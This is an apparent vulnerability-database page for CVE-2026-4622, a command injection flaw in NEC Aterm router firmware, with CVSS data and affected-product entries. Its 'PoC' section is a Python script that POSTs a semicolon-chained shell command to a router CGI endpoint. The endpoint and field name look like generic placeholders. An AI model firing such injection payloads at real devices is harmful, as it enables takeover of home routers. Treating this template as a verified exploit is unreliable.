Security Vulnerability Report
中文
CVE-2026-4622 CVSS 9.8 CRITICAL

CVE-2026-4622

Published: 2026-03-27 12:16:21
Last Modified: 2026-04-20 15:22:41

Description

OS Command Injection vulnerability in NEC Platforms, Ltd. Aterm Series allows a attacker to execute arbitrary OS commands via network.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:nec:aterm_wg2600hs_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:nec:aterm_wg2600hs:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:nec:aterm_wf1200cr_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:nec:aterm_wf1200cr:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:nec:aterm_wg1200cr_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:nec:aterm_wg1200cr:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:nec:aterm_wg2600hp4_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:nec:aterm_wg2600hp4:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:nec:aterm_wg2600hm4_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:nec:aterm_wg2600hm4:-:*:*:*:*:*:*:* - NOT VULNERABLE
NEC Aterm Series (具体受影响版本请参考厂商公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit(target): # Target URL of the vulnerable Aterm device url = f"http://{target}/cgi-bin/command_endpoint" # Payload to inject OS command (e.g., create a file or reverse shell) # Using semicolon to chain commands in Linux shell payload = "; touch /tmp/pwned" data = { "param": payload } try: print(f"[*] Sending payload to {target}...") # Send the malicious request response = requests.post(url, data=data, timeout=5) if response.status_code == 200: print("[+] Request sent successfully. Check if command executed.") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") # Example usage # exploit("192.168.1.1")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4622", "sourceIdentifier": "[email protected]", "published": "2026-03-27T12:16:21.133", "lastModified": "2026-04-20T15:22:41.390", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS Command Injection vulnerability in NEC Platforms, Ltd. Aterm Series allows a attacker to execute arbitrary OS commands via network."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:nec:aterm_wg2600hs_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.7.2", "matchCriteriaId": "B9BC68AC-B83D-4E0B-9B8D-23477CE698B5"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:nec:aterm_wg2600hs:-:*:*:*:*:*:*:*", "matchCriteriaId": "623C9C7B-C947-49A8-9C1D-20B23FDA73ED"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:nec:aterm_wf1200cr_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.6.0", "matchCriteriaId": "FE8EF43A-B179-4352-A9C9-09A13AEB63AC"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:nec:aterm_wf1200cr:-:*:*:*:*:*:*:*", "matchCriteriaId": "3A91D9EB-5962-498E-9B14-C5712DDDF7C2"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:nec:aterm_wg1200cr_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.5.0", "matchCriteriaId": "D1BD83BE-3C42-417E-838F-A5D6FB63443F"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:nec:aterm_wg1200cr:-:*:*:*:*:*:*:*", "matchCriteriaId": "936D9DD3-11E5-4862-B157-85B13EA06C38"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:nec:aterm_wg2600hp4_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.4.2", "matchCriteriaId": "7E67DF3D-78B9-4B64-B3D1-B3A0B9951B83"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:nec:aterm_wg2600hp4:-:*:*:*:*:*:*:*", "matchCriteriaId": "2CA71E45-3623-423D-A1E7-FA7617A22EBD"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:nec:aterm_wg2600hm4_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.4.2", "matchCriteriaId": "8631153A-E9AE-4288-B1BD-B035CF51063C"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:nec:aterm_wg2600hm4:-:*:*:*:*:*:*:*", "matchCriteriaId": "20D6198A-B5F8-4E5E-94AE-0C657EBAB137"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3: ... (truncated)